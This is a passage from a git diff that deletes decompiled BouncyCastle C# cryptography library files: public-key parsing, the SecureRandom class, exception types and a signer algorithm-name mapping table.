Ed25519PublicKeyParameters(GetRawKey(keyInfo, Ed25519PublicKeyParameters.KeySize), 0); - } - if (algorithm.Equals(EdECObjectIdentifiers.id_Ed448)) - { - return new Ed448PublicKeyParameters(GetRawKey(keyInfo, Ed448PublicKeyParameters.KeySize), 0); - } - if (algorithm.Equals(RosstandartObjectIdentifiers.id_tc26_gost_3410_12_256) || algorithm.Equals(RosstandartObjectIdentifiers.id_tc26_gost_3410_12_512)) - { - byte[] str = ((DerOctetString)Asn1Object.FromByteArray(keyInfo.PublicKeyData.GetOctets())).str; - int num = 32; - if (algorithm.Equals(RosstandartObjectIdentifiers.id_tc26_gost_3410_12_512)) - { - num = 64; - } - int num2 = 2 * num; - byte[] array4 = new byte[1 + num2]; - array4[0] = 4; - for (int m = 1; m <= num; m++) - { - array4[m] = str[num - m]; - array4[m + num] = str[num2 - m]; - } - Gost3410PublicKeyAlgParameters instance7 = Gost3410PublicKeyAlgParameters.GetInstance(keyInfo.AlgorithmID.Parameters); - ECGost3410Parameters eCGost3410Parameters = new ECGost3410Parameters(new ECNamedDomainParameters(instance7.PublicKeyParamSet, ECGost3410NamedCurves.GetByOid(instance7.PublicKeyParamSet)), instance7.PublicKeyParamSet, instance7.DigestParamSet, instance7.EncryptionParamSet); - return new ECPublicKeyParameters(eCGost3410Parameters.Curve.DecodePoint(array4), eCGost3410Parameters); - } - throw new SecurityUtilityException("algorithm identifier in public key not recognised: " + algorithm); - } - - private static byte[] GetRawKey(SubjectPublicKeyInfo keyInfo, int expectedSize) - { - byte[] octets = keyInfo.PublicKeyData.GetOctets(); - if (expectedSize != octets.Length) - { - throw new SecurityUtilityException("public key encoding has incorrect length"); - } - return octets; - } - - private static bool IsPkcsDHParam(Asn1Sequence seq) - { - if (seq.Count == 2) - { - return true; - } - if (seq.Count > 3) - { - return false; - } - DerInteger instance = DerInteger.GetInstance(seq[2]); - DerInteger instance2 = DerInteger.GetInstance(seq[0]); - return instance.Value.CompareTo(BigInteger.ValueOf(instance2.Value.BitLength)) <= 0; - } - - private static DHPublicKeyParameters ReadPkcsDHParam(DerObjectIdentifier algOid, BigInteger y, Asn1Sequence seq) - { - DHParameter dHParameter = new DHParameter(seq); - int l = dHParameter.L?.IntValue ?? 0; - DHParameters parameters = new DHParameters(dHParameter.P, dHParameter.G, null, l); - return new DHPublicKeyParameters(y, parameters, algOid); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/SecureRandom.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/SecureRandom.cs deleted file mode 100644 index e415938..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/SecureRandom.cs +++ /dev/null @@ -1,195 +0,0 @@ -using System; -using System.Threading; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Prng; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Security; - -public class SecureRandom : Random -{ - private static long counter = Times.NanoTime(); - - private static readonly SecureRandom master = new SecureRandom(new CryptoApiRandomGenerator()); - - protected readonly IRandomGenerator generator; - - private static readonly double DoubleScale = System.Math.Pow(2.0, 64.0); - - private static SecureRandom Master => master; - - private static long NextCounterValue() - { - return Interlocked.Increment(ref counter); - } - - private static DigestRandomGenerator CreatePrng(string digestName, bool autoSeed) - { - IDigest digest = DigestUtilities.GetDigest(digestName); - if (digest == null) - { - return null; - } - DigestRandomGenerator digestRandomGenerator = new DigestRandomGenerator(digest); - if (autoSeed) - { - digestRandomGenerator.AddSeedMaterial(NextCounterValue()); - digestRandomGenerator.AddSeedMaterial(GetNextBytes(Master, digest.GetDigestSize())); - } - return digestRandomGenerator; - } - - public static byte[] GetNextBytes(SecureRandom secureRandom, int length) - { - byte[] array = new byte[length]; - secureRandom.NextBytes(array); - return array; - } - - public static SecureRandom GetInstance(string algorithm) - { - return GetInstance(algorithm, autoSeed: true); - } - - public static SecureRandom GetInstance(string algorithm, bool autoSeed) - { - string text = Platform.ToUpperInvariant(algorithm); - if (Platform.EndsWith(text, "PRNG")) - { - string digestName = text.Substring(0, text.Length - "PRNG".Length); - DigestRandomGenerator digestRandomGenerator = CreatePrng(digestName, autoSeed); - if (digestRandomGenerator != null) - { - return new SecureRandom(digestRandomGenerator); - } - } - throw new ArgumentException("Unrecognised PRNG algorithm: " + algorithm, "algorithm"); - } - - [Obsolete("Call GenerateSeed() on a SecureRandom instance instead")] - public static byte[] GetSeed(int length) - { - return GetNextBytes(Master, length); - } - - public SecureRandom() - : this(CreatePrng("SHA256", autoSeed: true)) - { - } - - [Obsolete("Use GetInstance/SetSeed instead")] - public SecureRandom(byte[] seed) - : this(CreatePrng("SHA1", autoSeed: false)) - { - SetSeed(seed); - } - - public SecureRandom(IRandomGenerator generator) - : base(0) - { - this.generator = generator; - } - - public virtual byte[] GenerateSeed(int length) - { - return GetNextBytes(Master, length); - } - - public virtual void SetSeed(byte[] seed) - { - generator.AddSeedMaterial(seed); - } - - public virtual void SetSeed(long seed) - { - generator.AddSeedMaterial(seed); - } - - public override int Next() - { - return NextInt() & 0x7FFFFFFF; - } - - public override int Next(int maxValue) - { - if (maxValue < 2) - { - if (maxValue < 0) - { - throw new ArgumentOutOfRangeException("maxValue", "cannot be negative"); - } - return 0; - } - int num; - if ((maxValue & (maxValue - 1)) == 0) - { - num = NextInt() & 0x7FFFFFFF; - return (int)((long)num * (long)maxValue >> 31); - } - int num2; - do - { - num = NextInt() & 0x7FFFFFFF; - num2 = num % maxValue; - } - while (num - num2 + (maxValue - 1) < 0); - return num2; - } - - public override int Next(int minValue, int maxValue) - { - if (maxValue <= minValue) - { - if (maxValue == minValue) - { - return minValue; - } - throw new ArgumentException("maxValue cannot be less than minValue"); - } - int num = maxValue - minValue; - if (num > 0) - { - return minValue + Next(num); - } - int num2; - do - { - num2 = NextInt(); - } - while (num2 < minValue || num2 >= maxValue); - return num2; - } - - public override void NextBytes(byte[] buf) - { - generator.NextBytes(buf); - } - - public virtual void NextBytes(byte[] buf, int off, int len) - { - generator.NextBytes(buf, off, len); - } - - public override double NextDouble() - { - return Convert.ToDouble((ulong)NextLong()) / DoubleScale; - } - - public virtual int NextInt() - { - byte[] array = new byte[4]; - NextBytes(array); - uint num = array[0]; - num <<= 8; - num |= array[1]; - num <<= 8; - num |= array[2]; - num <<= 8; - return (int)(num | array[3]); - } - - public virtual long NextLong() - { - return (long)(((ulong)(uint)NextInt() << 32) | (uint)NextInt()); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/SecurityUtilityException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/SecurityUtilityException.cs deleted file mode 100644 index 780bd6a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/SecurityUtilityException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Security; - -[Serializable] -public class SecurityUtilityException : Exception -{ - public SecurityUtilityException() - { - } - - public SecurityUtilityException(string message) - : base(message) - { - } - - public SecurityUtilityException(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/SignatureException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/SignatureException.cs deleted file mode 100644 index 35fb36f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/SignatureException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Security; - -[Serializable] -public class SignatureException : GeneralSecurityException -{ - public SignatureException() - { - } - - public SignatureException(string message) - : base(message) - { - } - - public SignatureException(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/SignerUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/SignerUtilities.cs deleted file mode 100644 index c9ce5fb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/SignerUtilities.cs +++ /dev/null @@ -1,534 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Bsi; -using Org.BouncyCastle.Asn1.CryptoPro; -using Org.BouncyCastle.Asn1.Eac; -using Org.BouncyCastle.Asn1.EdEC; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.TeleTrust; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Crypto.Engines; -using Org.BouncyCastle.Crypto.Signers; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Security; - -public sealed class SignerUtilities -{ - internal static readonly IDictionary algorithms; - - internal static readonly IDictionary oids; - - public static ICollection Algorithms => oids.Keys; - - private SignerUtilities() - { - } - - static SignerUtilities() - { - algorithms = Platform.CreateHashtable(); - oids = Platform.CreateHashtable(); - algorithms["MD2WITHRSA"] = "MD2withRSA"; - algorithms["MD2WITHRSAENCRYPTION"] = "MD2withRSA"; - algorithms[PkcsObjectIdentifiers.MD2WithRsaEncryption.Id] = "MD2withRSA"; - algorithms["MD4WITHRSA"] = "MD4withRSA"; - algorithms["MD4WITHRSAENCRYPTION"] = "MD4withRSA"; - algorithms[PkcsObjectIdentifiers.MD4WithRsaEncryption.Id] = "MD4withRSA"; - algorithms[OiwObjectIdentifiers.MD4WithRsa.Id] = "MD4withRSA"; - algorithms[OiwObjectIdentifiers.MD4WithRsaEncryption.Id] = "MD4withRSA"; - algorithms["MD5WITHRSA"] = "MD5withRSA"; - algorithms["MD5WITHRSAENCRYPTION"] = "MD5withRSA"; - algorithms[PkcsObjectIdentifiers.MD5WithRsaEncryption.Id] = "MD5withRSA"; - algorithms[OiwObjectIdentifiers.MD5WithRsa.Id] = "MD5withRSA"; - algorithms["SHA1WITHRSA"] = "SHA-1withRSA"; - algorithms["SHA1WITHRSAENCRYPTION"] = "SHA-1withRSA"; - algorithms["SHA-1WITHRSA"] = "SHA-1withRSA"; - algorithms[PkcsObjectIdentifiers.Sha1WithRsaEncryption.Id] = "SHA-1withRSA"; - algorithms[OiwObjectIdentifiers.Sha1WithRsa.Id] = "SHA-1withRSA"; - algorithms["SHA224WITHRSA"] = "SHA-224withRSA"; - algorithms["SHA224WITHRSAENCRYPTION"] = "SHA-224withRSA"; - algorithms[PkcsObjectIdentifiers.Sha224WithRsaEncryption.Id] = "SHA-224withRSA"; - algorithms["SHA-224WITHRSA"] = "SHA-224withRSA"; - algorithms["SHA256WITHRSA"] = "SHA-256withRSA"; - algorithms["SHA256WITHRSAENCRYPTION"] = "SHA-256withRSA"; - algorithms[PkcsObjectIdentifiers.Sha256WithRsaEncryption.Id] = "SHA-256withRSA"; - algorithms["SHA-256WITHRSA"] = "SHA-256withRSA"; - algorithms["SHA384WITHRSA"] = "SHA-384withRSA"; - algorithms["SHA384WITHRSAENCRYPTION"] = "SHA-384withRSA"; - algorithms[PkcsObjectIdentifiers.Sha384WithRsaEncryption.Id] = "SHA-384withRSA"; - algorithms["SHA-384WITHRSA"] = "SHA-384withRSA"; - algorithms["SHA512WITHRSA"] = "SHA-512withRSA"; - algorithms["SHA512WITHRSAENCRYPTION"] = "SHA-512withRSA"; - algorithms[PkcsObjectIdentifiers.Sha512WithRsaEncryption.Id] = "SHA-512withRSA"; - algorithms["SHA-512WITHRSA"] = "SHA-512withRSA"; - algorithms["PSSWITHRSA"] = "PSSwithRSA"; - algorithms["RSASSA-PSS"] = "PSSwithRSA"; - algorithms[PkcsObjectIdentifiers.IdRsassaPss.Id] = "PSSwithRSA"; - algorithms["RSAPSS"] = "PSSwithRSA"; - algorithms["SHA1WITHRSAANDMGF1"] = "SHA-1withRSAandMGF1"; - algorithms["SHA-1WITHRSAANDMGF1"] = "SHA-1withRSAandMGF1"; - algorithms["SHA1WITHRSA/PSS"] = "SHA-1withRSAandMGF1"; - algorithms["SHA-1WITHRSA/PSS"] = "SHA-1withRSAandMGF1"; - algorithms["SHA224WITHRSAANDMGF1"] = "SHA-224withRSAandMGF1"; - algorithms["SHA-224WITHRSAANDMGF1"] = "SHA-224withRSAandMGF1"; - algorithms["SHA224WITHRSA/PSS"] = "SHA-224withRSAandMGF1"; - algorithms["SHA-224WITHRSA/PSS"] = "SHA-224withRSAandMGF1"; - algorithms["SHA256WITHRSAANDMGF1"] = "SHA-256withRSAandMGF1"; - algorithms["SHA-256WITHRSAANDMGF1"] = "SHA-256withRSAandMGF1"; - algorithms["SHA256WITHRSA/PSS"] = "SHA-256withRSAandMGF1"; - algorithms["SHA-256WITHRSA/PSS"] = "SHA-256withRSAandMGF1"; - algorithms["SHA384WITHRSAANDMGF1"] = "SHA-384withRSAandMGF1"; - algorithms["SHA-384WITHRSAANDMGF1"] = "SHA-384withRSAandMGF1"; - algorithms["SHA384WITHRSA/PSS"] = "SHA-384withRSAandMGF1"; - algorithms["SHA-384WITHRSA/PSS"] = "SHA-384withRSAandMGF1"; - algorithms["SHA512WITHRSAANDMGF1"] = "SHA-512withRSAandMGF1"; - algorithms["SHA-512WITHRSAANDMGF1"] = "SHA-512withRSAandMGF1"; - algorithms["SHA512WITHRSA/PSS"] = "SHA-512withRSAandMGF1"; - algorithms["SHA-512WITHRSA/PSS"] = "SHA-512withRSAandMGF1"; - algorithms["RIPEMD128WITHRSA"] = "RIPEMD128withRSA"; - algorithms["RIPEMD128WITHRSAENCRYPTION"] = "RIPEMD128withRSA"; - algorithms[TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD128.Id] = "RIPEMD128withRSA"; - algorithms["RIPEMD160WITHRSA"] = "RIPEMD160withRSA"; - algorithms["RIPEMD160WITHRSAENCRYPTION"] = "RIPEMD160withRSA"; - algorithms[TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD160.Id] = "RIPEMD160withRSA"; - algorithms["RIPEMD256WITHRSA"] = "RIPEMD256withRSA"; - algorithms["RIPEMD256WITHRSAENCRYPTION"] = "RIPEMD256withRSA"; - algorithms[TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD256.Id] = "RIPEMD256withRSA"; - algorithms["NONEWITHRSA"] = "RSA"; - algorithms["RSAWITHNONE"] = "RSA"; - algorithms["RAWRSA"] = "RSA"; - algorithms["RAWRSAPSS"] = "RAWRSASSA-PSS"; - algorithms["NONEWITHRSAPSS"] = "RAWRSASSA-PSS"; - algorithms["NONEWITHRSASSA-PSS"] = "RAWRSASSA-PSS"; - algorithms["NONEWITHDSA"] = "NONEwithDSA"; - algorithms["DSAWITHNONE"] = "NONEwithDSA"; - algorithms["RAWDSA"] = "NONEwithDSA"; - algorithms["DSA"] = "SHA-1withDSA"; - algorithms["DSAWITHSHA1"] = "SHA-1withDSA"; - algorithms["DSAWITHSHA-1"] = "SHA-1withDSA"; - algorithms["SHA/DSA"] = "SHA-1withDSA"; - algorithms["SHA1/DSA"] = "SHA-1withDSA"; - algorithms["SHA-1/DSA"] = "SHA-1withDSA"; - algorithms["SHA1WITHDSA"] = "SHA-1withDSA"; - algorithms["SHA-1WITHDSA"] = "SHA-1withDSA"; - algorithms[X9ObjectIdentifiers.IdDsaWithSha1.Id] = "SHA-1withDSA"; - algorithms[OiwObjectIdentifiers.DsaWithSha1.Id] = "SHA-1withDSA"; - algorithms["DSAWITHSHA224"] = "SHA-224withDSA"; - algorithms["DSAWITHSHA-224"] = "SHA-224withDSA"; - algorithms["SHA224/DSA"] = "SHA-224withDSA"; - algorithms["SHA-224/DSA"] = "SHA-224withDSA"; - algorithms["SHA224WITHDSA"] = "SHA-224withDSA"; - algorithms["SHA-224WITHDSA"] = "SHA-224withDSA"; - algorithms[NistObjectIdentifiers.DsaWithSha224.Id] = "SHA-224withDSA"; - algorithms["DSAWITHSHA256"] = "SHA-256withDSA"; - algorithms["DSAWITHSHA-256"] = "SHA-256withDSA"; - algorithms["SHA256/DSA"] = "SHA-256withDSA"; - algorithms["SHA-256/DSA"] = "SHA-256withDSA"; - algorithms["SHA256WITHDSA"] = "SHA-256withDSA"; - algorithms["SHA-256WITHDSA"] = "SHA-256withDSA"; - algorithms[NistObjectIdentifiers.DsaWithSha256.Id] = "SHA-256withDSA"; - algorithms["DSAWITHSHA384"] = "SHA-384withDSA"; - algorithms["DSAWITHSHA-384"] = "SHA-384withDSA"; - algorithms["SHA384/DSA"] = "SHA-384withDSA"; - algorithms["SHA-384/DSA"] = "SHA-384withDSA"; - algorithms["SHA384WITHDSA"] = "SHA-384withDSA"; - algorithms["SHA-384WITHDSA"] = "SHA-384withDSA"; - algorithms[NistObjectIdentifiers.DsaWithSha384.Id] = "SHA-384withDSA"; - algorithms["DSAWITHSHA512"] = "SHA-512withDSA"; - algorithms["DSAWITHSHA-512"] = "SHA-512withDSA"; - algorithms["SHA512/DSA"] = "SHA-512withDSA"; - algorithms["SHA-512/DSA"] = "SHA-512withDSA"; - algorithms["SHA512WITHDSA"] = "SHA-512withDSA"; - algorithms["SHA-512WITHDSA"] = "SHA-512withDSA"; - algorithms[NistObjectIdentifiers.DsaWithSha512.Id] = "SHA-512withDSA"; - algorithms["NONEWITHECDSA"] = "NONEwithECDSA"; - algorithms["ECDSAWITHNONE"] = "NONEwithECDSA"; - algorithms["ECDSA"] = "SHA-1withECDSA"; - algorithms["SHA1/ECDSA"] = "SHA-1withECDSA"; - algorithms["SHA-1/ECDSA"] = "SHA-1withECDSA"; - algorithms["ECDSAWITHSHA1"] = "SHA-1withECDSA"; - algorithms["ECDSAWITHSHA-1"] = "SHA-1withECDSA"; - algorithms["SHA1WITHECDSA"] = "SHA-1withECDSA"; - algorithms["SHA-1WITHECDSA"] = "SHA-1withECDSA"; - algorithms[X9ObjectIdentifiers.ECDsaWithSha1.Id] = "SHA-1withECDSA"; - algorithms[TeleTrusTObjectIdentifiers.ECSignWithSha1.Id] = "SHA-1withECDSA"; - algorithms["SHA224/ECDSA"] = "SHA-224withECDSA"; - algorithms["SHA-224/ECDSA"] = "SHA-224withECDSA"; - algorithms["ECDSAWITHSHA224"] = "SHA-224withECDSA"; - algorithms["ECDSAWITHSHA-224"] = "SHA-224withECDSA"; - algorithms["SHA224WITHECDSA"] = "SHA-224withECDSA"; - algorithms["SHA-224WITHECDSA"] = "SHA-224withECDSA"; - algorithms[X9ObjectIdentifiers.ECDsaWithSha224.Id] = "SHA-224withECDSA"; - algorithms["SHA256/ECDSA"] = "SHA-256withECDSA"; - algorithms["SHA-256/ECDSA"] = "SHA-256withECDSA"; - algorithms["ECDSAWITHSHA256"] = "SHA-256withECDSA"; - algorithms["ECDSAWITHSHA-256"] = "SHA-256withECDSA"; - algorithms["SHA256WITHECDSA"] = "SHA-256withECDSA"; - algorithms["SHA-256WITHECDSA"] = "SHA-256withECDSA"; - algorithms[X9ObjectIdentifiers.ECDsaWithSha256.Id] = "SHA-256withECDSA"; - algorithms["SHA384/ECDSA"] = "SHA-384withECDSA"; - algorithms["SHA-384/ECDSA"] = "SHA-384withECDSA"; - algorithms["ECDSAWITHSHA384"] = "SHA-384withECDSA"; - algorithms["ECDSAWITHSHA-384"] = "SHA-384withECDSA"; - algorithms["SHA384WITHECDSA"] = "SHA-384withECDSA"; - algorithms["SHA-384WITHECDSA"] = "SHA-384withECDSA"; - algorithms[X9ObjectIdentifiers.ECDsaWithSha384.Id] = "SHA-384withECDSA"; - algorithms["SHA512/ECDSA"] = "SHA-512withECDSA"; - algorithms["SHA-512/ECDSA"] = "SHA-512withECDSA"; - algorithms["ECDSAWITHSHA512"] = "SHA-512withECDSA"; - algorithms["ECDSAWITHSHA-512"] = "SHA-512withECDSA"; - algorithms["SHA512WITHECDSA"] = "SHA-512withECDSA"; - algorithms["SHA-512WITHECDSA"] = "SHA-512withECDSA"; - algorithms[X9ObjectIdentifiers.ECDsaWithSha512.Id] = "SHA-512withECDSA"; - algorithms["RIPEMD160/ECDSA"] = "RIPEMD160withECDSA"; - algorithms["ECDSAWITHRIPEMD160"] = "RIPEMD160withECDSA"; - algorithms["RIPEMD160WITHECDSA"] = "RIPEMD160withECDSA"; - algorithms[TeleTrusTObjectIdentifiers.ECSignWithRipeMD160.Id] = "RIPEMD160withECDSA"; - algorithms["NONEWITHCVC-ECDSA"] = "NONEwithCVC-ECDSA"; - algorithms["CVC-ECDSAWITHNONE"] = "NONEwithCVC-ECDSA"; - algorithms["SHA1/CVC-ECDSA"] = "SHA-1withCVC-ECDSA"; - algorithms["SHA-1/CVC-ECDSA"] = "SHA-1withCVC-ECDSA"; - algorithms["CVC-ECDSAWITHSHA1"] = "SHA-1withCVC-ECDSA"; - algorithms["CVC-ECDSAWITHSHA-1"] = "SHA-1withCVC-ECDSA"; - algorithms["SHA1WITHCVC-ECDSA"] = "SHA-1withCVC-ECDSA"; - algorithms["SHA-1WITHCVC-ECDSA"] = "SHA-1withCVC-ECDSA"; - algorithms[EacObjectIdentifiers.id_TA_ECDSA_SHA_1.Id] = "SHA-1withCVC-ECDSA"; - algorithms["SHA224/CVC-ECDSA"] = "SHA-224withCVC-ECDSA"; - algorithms["SHA-224/CVC-ECDSA"] = "SHA-224withCVC-ECDSA"; - algorithms["CVC-ECDSAWITHSHA224"] = "SHA-224withCVC-ECDSA"; - algorithms["CVC-ECDSAWITHSHA-224"] = "SHA-224withCVC-ECDSA"; - algorithms["SHA224WITHCVC-ECDSA"] = "SHA-224withCVC-ECDSA"; - algorithms["SHA-224WITHCVC-ECDSA"] = "SHA-224withCVC-ECDSA"; - algorithms[EacObjectIdentifiers.id_TA_ECDSA_SHA_224.Id] = "SHA-224withCVC-ECDSA"; - algorithms["SHA256/CVC-ECDSA"] = "SHA-256withCVC-ECDSA"; - algorithms["SHA-256/CVC-ECDSA"] = "SHA-256withCVC-ECDSA"; - algorithms["CVC-ECDSAWITHSHA256"] = "SHA-256withCVC-ECDSA"; - algorithms["CVC-ECDSAWITHSHA-256"] = "SHA-256withCVC-ECDSA"; - algorithms["SHA256WITHCVC-ECDSA"] = "SHA-256withCVC-ECDSA"; - algorithms["SHA-256WITHCVC-ECDSA"] = "SHA-256withCVC-ECDSA"; - algorithms[EacObjectIdentifiers.id_TA_ECDSA_SHA_256.Id] = "SHA-256withCVC-ECDSA"; - algorithms["SHA384/CVC-ECDSA"] = "SHA-384withCVC-ECDSA"; - algorithms["SHA-384/CVC-ECDSA"] = "SHA-384withCVC-ECDSA"; - algorithms["CVC-ECDSAWITHSHA384"] = "SHA-384withCVC-ECDSA"; - algorithms["CVC-ECDSAWITHSHA-384"] = "SHA-384withCVC-ECDSA"; - algorithms["SHA384WITHCVC-ECDSA"] = "SHA-384withCVC-ECDSA"; - algorithms["SHA-384WITHCVC-ECDSA"] = "SHA-384withCVC-ECDSA"; - algorithms[EacObjectIdentifiers.id_TA_ECDSA_SHA_384.Id] = "SHA-384withCVC-ECDSA"; - algorithms["SHA512/CVC-ECDSA"] = "SHA-512withCVC-ECDSA"; - algorithms["SHA-512/CVC-ECDSA"] = "SHA-512withCVC-ECDSA"; - algorithms["CVC-ECDSAWITHSHA512"] = "SHA-512withCVC-ECDSA"; - algorithms["CVC-ECDSAWITHSHA-512"] = "SHA-512withCVC-ECDSA"; - algorithms["SHA512WITHCVC-ECDSA"] = "SHA-512withCVC-ECDSA"; - algorithms["SHA-512WITHCVC-ECDSA"] = "SHA-512withCVC-ECDSA"; - algorithms[EacObjectIdentifiers.id_TA_ECDSA_SHA_512.Id] = "SHA-512withCVC-ECDSA"; - algorithms["NONEWITHPLAIN-ECDSA"] = "NONEwithPLAIN-ECDSA"; - algorithms["PLAIN-ECDSAWITHNONE"] = "NONEwithPLAIN-ECDSA"; - algorithms["SHA1/PLAIN-ECDSA"] = "SHA-1withPLAIN-ECDSA"; - algorithms["SHA-1/PLAIN-ECDSA"] = "SHA-1withPLAIN-ECDSA"; - algorithms["PLAIN-ECDSAWITHSHA1"] = "SHA-1withPLAIN-ECDSA"; - algorithms["PLAIN-ECDSAWITHSHA-1"] = "SHA-1withPLAIN-ECDSA"; - algorithms["SHA1WITHPLAIN-ECDSA"] = "SHA-1withPLAIN-ECDSA"; - algorithms["SHA-1WITHPLAIN-ECDSA"] = "SHA-1withPLAIN-ECDSA"; - algorithms[BsiObjectIdentifiers.ecdsa_plain_SHA1.Id] = "SHA-1withPLAIN-ECDSA"; - algorithms["SHA224/PLAIN-ECDSA"] = "SHA-224withPLAIN-ECDSA"; - algorithms["SHA-224/PLAIN-ECDSA"] = "SHA-224withPLAIN-ECDSA"; - algorithms["PLAIN-ECDSAWITHSHA224"] = "SHA-224withPLAIN-ECDSA"; - algorithms["PLAIN-ECDSAWITHSHA-224"] = "SHA-224withPLAIN-ECDSA"; - algorithms["SHA224WITHPLAIN-ECDSA"] = "SHA-224withPLAIN-ECDSA"; - algorithms["SHA-224WITHPLAIN-ECDSA"] = "SHA-224withPLAIN-ECDSA"; - algorithms[BsiObjectIdentifiers.ecdsa_plain_SHA224.Id] = "SHA-224withPLAIN-ECDSA"; - algorithms["SHA256/PLAIN-ECDSA"] = "SHA-256withPLAIN-ECDSA"; - algorithms["SHA-256/PLAIN-ECDSA"] = "SHA-256withPLAIN-ECDSA"; - algorithms["PLAIN-ECDSAWITHSHA256"] = "SHA-256withPLAIN-ECDSA"; - algorithms["PLAIN-ECDSAWITHSHA-256"] = "SHA-256withPLAIN-ECDSA"; - algorithms["SHA256WITHPLAIN-ECDSA"] = "SHA-256withPLAIN-ECDSA"; - algorithms["SHA-256WITHPLAIN-ECDSA"] = "SHA-256withPLAIN-ECDSA"; - algorithms[BsiObjectIdentifiers.ecdsa_plain_SHA256.Id] = "SHA-256withPLAIN-ECDSA"; - algorithms["SHA384/PLAIN-ECDSA"] = "SHA-384withPLAIN-ECDSA"; - algorithms["SHA-384/PLAIN-ECDSA"] = "SHA-384withPLAIN-ECDSA"; - algorithms["PLAIN-ECDSAWITHSHA384"] = "SHA-384withPLAIN-ECDSA"; - algorithms["PLAIN-ECDSAWITHSHA-384"] = "SHA-384withPLAIN-ECDSA"; - algorithms["SHA384WITHPLAIN-ECDSA"] = "SHA-384withPLAIN-ECDSA"; - algorithms["SHA-384WITHPLAIN-ECDSA"] = "SHA-384withPLAIN-ECDSA"; - algorithms[BsiObjectIdentifiers.ecdsa_plain_SHA384.Id] = "SHA-384withPLAIN-ECDSA"; - algorithms["SHA512/PLAIN-ECDSA"] = "SHA-512withPLAIN-ECDSA"; - algorithms["SHA-512/PLAIN-ECDSA"] = "SHA-512withPLAIN-ECDSA"; - algorithms["PLAIN-ECDSAWITHSHA512"] = "SHA-512withPLAIN-ECDSA"; - algorithms["PLAIN-ECDSAWITHSHA-512"] = "SHA-512withPLAIN-ECDSA"; - algorithms["SHA512WITHPLAIN-ECDSA"] = "SHA-512withPLAIN-ECDSA"; - algorithms["SHA-512WITHPLAIN-ECDSA"] = "SHA-512withPLAIN-ECDSA"; - algorithms[BsiObjectIdentifiers.ecdsa_plain_SHA512.Id] = "SHA-512withPLAIN-ECDSA"; - algorithms["RIPEMD160/PLAIN-ECDSA"] = "RIPEMD160withPLAIN-ECDSA"; - algorithms["PLAIN-ECDSAWITHRIPEMD160"] = "RIPEMD160withPLAIN-ECDSA"; - algorithms["RIPEMD160WITHPLAIN-ECDSA"] = "RIPEMD160withPLAIN-ECDSA"; - algorithms[BsiObjectIdentifiers.ecdsa_plain_RIPEMD160.Id] = "RIPEMD160withPLAIN-ECDSA"; - algorithms["SHA1WITHECNR"] = "SHA-1withECNR"; - algorithms["SHA-1WITHECNR"] = "SHA-1withECNR"; - algorithms["SHA224WITHECNR"] = "SHA-224withECNR"; - algorithms["SHA-224WITHECNR"] = "SHA-224withECNR"; - algorithms["SHA256WITHECNR"] = "SHA-256withECNR"; - algorithms["SHA-256WITHECNR"] = "SHA-256withECNR"; - algorithms["SHA384WITHECNR"] = "SHA-384withECNR"; - algorithms["SHA-384WITHECNR"] = "SHA-384withECNR"; - algorithms["SHA512WITHECNR"] = "SHA-512withECNR"; - algorithms["SHA-512WITHECNR"] = "SHA-512withECNR"; - algorithms["GOST-3410"] = "GOST3410"; - algorithms["GOST-3410-94"] = "GOST3410"; - algorithms["GOST3411WITHGOST3410"] = "GOST3410"; - algorithms[CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x94.Id] = "GOST3410"; - algorithms["ECGOST-3410"] = "ECGOST3410"; - algorithms["ECGOST-3410-2001"] = "ECGOST3410"; - algorithms["GOST3411WITHECGOST3410"] = "ECGOST3410"; - algorithms[CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x2001.Id] = "ECGOST3410"; - algorithms["ED25519"] = "Ed25519"; - algorithms[EdECObjectIdentifiers.id_Ed25519.Id] = "Ed25519"; - algorithms["ED25519CTX"] = "Ed25519ctx"; - algorithms["ED25519PH"] = "Ed25519ph"; - algorithms["ED448"] = "Ed448"; - algorithms[EdECObjectIdentifiers.id_Ed448.Id] = "Ed448"; - algorithms["ED448PH"] = "Ed448ph"; - oids["MD2withRSA"] = PkcsObjectIdentifiers.MD2WithRsaEncryption; - oids["MD4withRSA"] = PkcsObjectIdentifiers.MD4WithRsaEncryption; - oids["MD5withRSA"] = PkcsObjectIdentifiers.MD5WithRsaEncryption; - oids["SHA-1withRSA"] = PkcsObjectIdentifiers.Sha1WithRsaEncryption; - oids["SHA-224withRSA"] = PkcsObjectIdentifiers.Sha224WithRsaEncryption; - oids["SHA-256withRSA"] = PkcsObjectIdentifiers.Sha256WithRsaEncryption; - oids["SHA-384withRSA"] = 